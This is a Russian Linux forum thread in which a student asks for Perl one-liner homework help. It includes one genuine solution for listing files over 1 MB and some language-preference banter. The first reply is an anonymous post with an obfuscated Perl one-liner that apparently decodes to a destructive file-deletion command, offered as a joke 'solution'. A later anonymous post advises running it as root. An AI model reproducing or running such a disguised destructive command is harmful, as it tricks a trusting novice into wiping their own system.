anonymous@RULINUX.NET~# Last login: 2022-08-09 17:51:52
Регистрация Вход Новости | Разметка | Пользователи | Галерея | Форум | Статьи | Неподтвержденное | Трекер | Правила форума | F.A.Q. | Ссылки | Поиск
[#] [Добавить метку] [Редактировать]
Скрыть

Однострочники на Perl (нужна помощь!)

Товарищи, знакомые с языком Perl! Помогите, пожалуйста, с написанием однострочников. Третий день уже разбираюсь, но не получается :( Только по 2 задаче кое-что смогла написать, но не работает: perl -lnaF':' -e 'for ($j=0; $j<@F; $j++) {if( $F[$j] > 10 ){ print $F, $j }}'

Вот задания:

1. Написать однострочную программу на perl, которая на вход получает список файлов выводимых командой ls -l или dir и распечатывает на экран имена тех файлов размер которых больше 1 мегабайта. Последней строкой должна быть выведена информация по общему количеству файлов и количеству файлов размер которых больше 1 мегабайта.

2. Написать однострочную программу, которая прочитает со стандартного входа файл в виде таблицы, где поля разделены двоеточием ":". И выведет на экран номера строк и столбцов значение ячеек, которых больше 10.

3 Написать программу которая возьмёт файл из задания 2 и построит структуру данных в виде массива массивов, после чего распечатает его при помощи модулей DDP и Data::Dumper

4. Провести отладку скрипта написанного в задании 3. Создать файл сценарий для отладчика. Заранее большое спасибо за помошь!!!

nastya_n(*) (2016-03-01 12:26:51)

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36

[Ответить на это сообщение]
[#] [Добавить метку] [Редактировать] Ответ на: Однострочники на Perl (нужна помощь!) от nastya_n 2016-03-01 12:26:51
avatar
Скрыть

Re:Однострочники на Perl (нужна помощь!)

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:[email protected][-`{-};`-{/" -;;s;;$_;see' или как-то так

PS: за тебя никто домашнее задание делать не будет.

anonymous(*)(2016-03-01 12:51:46)

[#] [Добавить метку] [Редактировать] Ответ на: Re:Однострочники на Perl (нужна помощь!) от anonymous 2016-03-01 12:51:46
avatar
Скрыть

Re:Однострочники на Perl (нужна помощь!)

Вообще-то на форумах люди обычно помогают с задачами, обсуждают их и делятся идеями и полезными ссылками. А визуально не очень на Perl похоже :)

nastya_n(*)(2016-03-01 13:19:04)

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
[#] [Добавить метку] [Редактировать] Ответ на: Re:Однострочники на Perl (нужна помощь!) от nastya_n 2016-03-01 13:19:04
avatar
Скрыть

Re:Однострочники на Perl (нужна помощь!)

это и есть самый что ни на есть перл, только боюсь препо этот синтаксис не поймет

vilfred(*)(2016-03-01 16:09:57)

Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0
[#] [Добавить метку] [Редактировать] Ответ на: Однострочники на Perl (нужна помощь!) от nastya_n 2016-03-01 12:26:51
avatar
Скрыть

Re:Однострочники на Perl (нужна помощь!)

решение первого задания:

[[email protected] ~]$ perl -e 'while(<*.*>){$c++; do{ print "$_ \n"; $a++} if -s $_ > 1024*1024}; print "all: $c \t big: $a\n"'

vilfred(*)(2016-03-01 16:25:16)
Отредактировано vilfred по причине "не указана"
Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0
[#] [Добавить метку] [Редактировать] Ответ на: Re:Однострочники на Perl (нужна помощь!) от vilfred 2016-03-01 16:25:16
avatar
Скрыть

Re:Однострочники на Perl (нужна помощь!)

Спасибо большое! Только почему-то ошибку выдает. Буду пробовать разобраться.

nastya_n(*)(2016-03-01 21:57:03)

Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
[#] [Добавить метку] [Редактировать] Ответ на: Re:Однострочники на Perl (нужна помощь!) от nastya_n 2016-03-01 21:57:03
avatar
Скрыть

Re:Однострочники на Perl (нужна помощь!)

Из под рута запускать надо!

anonymous(*)(2016-03-01 22:16:21)

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24
[#] [Добавить метку] [Редактировать] Ответ на: Re:Однострочники на Perl (нужна помощь!) от nastya_n 2016-03-01 21:57:03
avatar
Скрыть

Re:Однострочники на Perl (нужна помощь!)

а какую ошибку?

vilfred(*)(2016-03-01 22:38:13)

Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0
[#] [Добавить метку] [Редактировать] Ответ на: Однострочники на Perl (нужна помощь!) от nastya_n 2016-03-01 12:26:51
avatar
Скрыть

Re:Однострочники на Perl (нужна помощь!)

Настя забей на перл, леарн липс ит ис форева.

anonymous(*)(2016-03-02 19:18:13)

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36
[#] [Добавить метку] [Редактировать] Ответ на: Re:Однострочники на Perl (нужна помощь!) от anonymous 2016-03-02 19:18:13
avatar
Скрыть

Re:Однострочники на Perl (нужна помощь!)

Настя забей на перл, он прав))) Но Common Lisp (Наверно о нем шла речь))) Тебе тоже не нужен)))

Юзай Python, это откровение Творца нашего выраженного через ЯП, а Гвидо пророк его)))

xaxa(*)(2016-03-02 21:11:16)

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/48.0.2564.116 Chrome/48.0.2564.116 Safari/537.36
Этот тред читают 1 пользователь:
Анонимных: 1
Зарегистрированных: 0




(c) 2010-2020 LOR-NG Developers Group
Powered by TimeMachine

Valid HTML 4.01 Transitional Правильный CSS!